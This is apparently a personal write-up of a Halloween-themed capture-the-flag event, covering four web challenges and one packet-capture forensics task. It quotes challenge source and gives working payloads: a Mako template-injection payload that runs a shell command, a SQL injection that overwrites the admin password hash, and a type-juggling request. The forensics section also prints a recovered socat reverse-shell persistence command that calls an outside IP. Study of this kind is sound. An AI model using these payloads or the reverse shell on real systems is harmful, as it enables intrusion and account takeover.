1.
I solved 4 web challenges and one forensics chall.
2. THE CHALLS
- Spookifier - Web
- Horror Feeds - Web
- Juggling Facts - Web
- Cursed Secret Party - Web
- Wrong Spooky Season - Forensics
Spookifier - web
We are greeted by this screen:
web = Blueprint('web', __name__)
@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html',output=converted)
return render_template('index.html',output='')
routes.py
looks like this. it receives ?/text=
as the parameter. spookify
depends on util.py
.
def generate_render(converted_fonts):
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*converted_fonts)
return Template(result).render()
def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text,font_type : (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fonts
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)
spookify
calls the change_font
function and then returns generate_render
. We can see a SSTI vulnerability in generate_render
. Since it uses mako
, entering ?text=${1+1}
will result in 2
.
The payload:
${self.module.cache.util.os.popen('cat /flag.txt').read()}
Horror Feeds - web
from colorama import Cursor
from util import generate_password_hash, verify_hash, generate_token
mysql = MySQL()
def query_db(query, args=(), one=False):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
def login(username, password):
user = query_db('SELECT password FROM users WHERE username = %s', (username,), one=True)
if user:
password_check = verify_hash(password, user.get('password'))
if password_check:
token = generate_token(username)
return token
else:
return False
else:
return False
def register(username, password):
exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
if exists:
return False
hashed = generate_password_hash(password)
query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
mysql.connection.commit()
return True
database.py
looks like this. Instead of saving the password as plaintext, it hashes it beforehand.
My first guess was SQLi, but it didn’t work, so I tried analyzing the code more.
from flask import Blueprint, render_template, request, session, current_app, redirect
from application.database import login, register
from application.util import response, is_authenticated, token_verify
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def sign_in():
return render_template('login.html')
@web.route('/dashboard')
@is_authenticated
def dashboard():
current_user = token_verify(session.get('auth'))
return render_template('dashboard.html', flag=current_app.config['FLAG'], user=current_user.get('username'))
@web.route('/logout')
def logout():
session['auth'] = None
return redirect('/')
@api.route('/login', methods=['POST'])
def api_login():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = login(username, password)
if user:
session['auth'] = user
return response('Success'), 200
return response('Invalid credentials!'), 403
@api.route('/register', methods=['POST'])
def api_register():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 400
user = register(username, password)
if user:
return response('User registered! Please login')
return response('User exists already!'), 409
routes.py
.
import os, bcrypt, jwt, datetime
from functools import wraps
from flask import jsonify,abort,session
encode_admin = "$2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G"
generate = lambda x: os.urandom(x).hex()
key = generate(50)
def response(message):
return jsonify({'message': message})
def generate_token(username):
token_expiration = datetime.datetime.utcnow() + datetime.timedelta(minutes=360)
encoded = jwt.encode(
{
'username': username,
'exp': token_expiration
},
key,
algorithm='HS256'
)
return encoded
def token_verify(token):
try:
token_decode = jwt.decode(
token,
key,
algorithms='HS256'
)
return token_decode
except:
return abort(400, 'Invalid token!')
def is_authenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = session.get('auth')
if not token:
return abort(401, 'Unauthorised access detected!')
token_verify(token)
return f(*args, **kwargs)
return decorator
def generate_password_hash(password):
salt = bcrypt.gensalt()
return bcrypt.hashpw(password.encode(), salt).decode()
def reverse_generate_password_hash(password):
salt = bcrypt.gensalt()
return bcrypt.hashpw(password.encode(), salt)
def verify_hash(password, passhash):
return bcrypt.checkpw(password.encode(), passhash.encode())
print(key)
print("asdf", generate_password_hash("asdf"))
In util.py
, we have the admin’s hash. We can try to SQLi at /register
.
username: admin","$2b$12$jSXUhVnIZ8eHQbynD1y1TuZL7oMVevF8ORjYwQCFGlN0RbRgnf9Ei") ON DUPLICATE KEY UPDATE password="$2b$12$jSXUhVnIZ8eHQbynD1y1TuZL7oMVevF8ORjYwQCFGlN0RbRgnf9Ei"-- #
password: 1234
Juggling Facts - web
The challenge title gives out an obvious hint.
(
'HTB{f4k3_fl4g_f0r_t3st1ng}',
'secrets'
);
The database is connected to loadfacts
of index.js
.
const loadfacts = async (fact_type) => {
await fetch('/api/getfacts', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ 'type': fact_type })
})
.then((response) => response.json())
.then((res) => {
if (!res.hasOwnProperty('facts')){
populate([]);
return;
}
populate(res.facts);
});
}
public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($jsondata['type'])
{
case 'secrets':
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);
case 'spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('spooky')
]);
case 'not_spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('not_spooky')
]);
default:
return $router->jsonify([
'message' => 'Invalid type!'
]);
}
}
So in other words, after testing the type
parameter, we have two conditions to bypass.
- strict comparison with
secrets
=true
- access from localhost
Since it is a type juggling problem, strict comparison can be bypassed. Then, the switch statement below accepts get_facts('secrets')
.
I simply sent a request using curl.
curl -d "{\"type\": true }" -H "Content-Type: application/json" -X POST "http://134.209.186.13:32738/api/getfacts"
Cursed Secret Party - web
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
This line in index.js
catches my attention.
This site only accepts requests from https://cdn.jsdelivr.net
. Turns out we can host github with this site.
Theres no filter with html tags, so I put in the payload like the above:
Wrong Spooky Season - Forensics
Put on the Statistics > protocol hierarchy > data filter on the provided pcap file.
With many clicks and TCP follow
s…
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
Reverse it and decode it.
$ echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev | base64 --decode
HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}